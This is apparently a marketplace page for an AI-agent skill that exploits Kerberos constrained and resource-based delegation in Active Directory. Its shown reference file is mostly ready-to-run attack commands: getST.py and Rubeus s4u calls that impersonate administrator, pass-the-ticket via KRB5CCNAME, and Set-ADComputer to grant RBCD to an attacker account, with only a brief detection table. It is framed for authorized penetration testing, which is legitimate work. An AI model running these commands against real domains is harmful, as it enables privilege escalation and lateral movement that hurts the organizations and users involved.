Skip to content

SSZcreate/Pentab_server / .agents/skills/cybersecurity/skills/exploiting-constrained-delegation-abuse

exploiting-constrained-delegation-abuse

Verified

Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained delegation.

FileKindSize
LICENSEother11.0 KB
SKILL.mdskill md8.9 KB
references/api-reference.mdmarkdown2.2 KB
references/standards.mdmarkdown847 B
references/workflows.mdmarkdown723 B
scripts/agent.pyscript4.4 KB

references/api-reference.md

View on GitHub
# API Reference: Kerberos Constrained Delegation Abuse

## Delegation Types in AD

| Type | Attribute | Risk |
|------|-----------|------|
| Unconstrained | TrustedForDelegation | CRITICAL |
| Constrained | msDS-AllowedToDelegateTo | HIGH |
| Constrained + Protocol Transition | TrustedToAuthForDelegation | CRITICAL |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | HIGH |

## PowerShell Enumeration

### Find Constrained Delegation
```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
    -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation
```

### Find RBCD
```powershell
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity `
    | Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}
```

## Impacket — S4U Attack

### getST.py — Request Service Ticket
```bash
getST.py domain/svc_account:password \
    -spn cifs/target.domain.local \
    -impersonate administrator \
    -dc-ip 10.10.10.1
```

### Use Ticket
```bash
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain/administrator@target.domain.local
```

## Rubeus — S4U Attack

### S4U2Self + S4U2Proxy
```cmd
Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH \
    /impersonateuser:administrator \
    /msdsspn:cifs/target.domain.local /ptt
```

### RBCD Abuse
```cmd
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_HASH \
    /impersonateuser:administrator \
    /msdsspn:cifs/target.domain.local /ptt
```

## RBCD Setup with PowerShell

### Set RBCD
```powershell
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$
```

### Verify
```powershell
Get-ADComputer target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
```

## BloodHound Cypher Queries

### Constrained Delegation Paths
```cypher
MATCH p=(u)-[:AllowedToDelegate]->(c:Computer)
RETURN u.name, c.name
```

### RBCD Write Access
```cypher
MATCH p=(u)-[:GenericWrite|WriteDacl|WriteOwner]->(c:Computer)
RETURN u.name, c.name
```

## Detection — Event IDs
| Event | Description |
|-------|-------------|
| 4769 | Kerberos Service Ticket (check for S4U) |
| 4770 | Service Ticket Renewed |
| 4768 | TGT Request (monitor for delegation) |
finishing-a-development-branchobra/superpowersUse when implementation is complete, all tests pass, and you need to decide how to integrate the workStars: 322kUpdated Claude CodeCodexVerifiedInstall
systematic-debuggingobra/superpowersUse when encountering any bug, test failure, or unexpected behavior, before proposing fixesStars: 322kUpdated Claude CodeCodexVerifiedInstall
test-driven-developmentobra/superpowersUse when implementing any feature or bugfix, before writing implementation codeStars: 322kUpdated Claude CodeCodexVerifiedInstall
skill-creatoranthropics/skillsCreate new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy.Stars: 197kUpdated Claude CodeCodexVerifiedInstall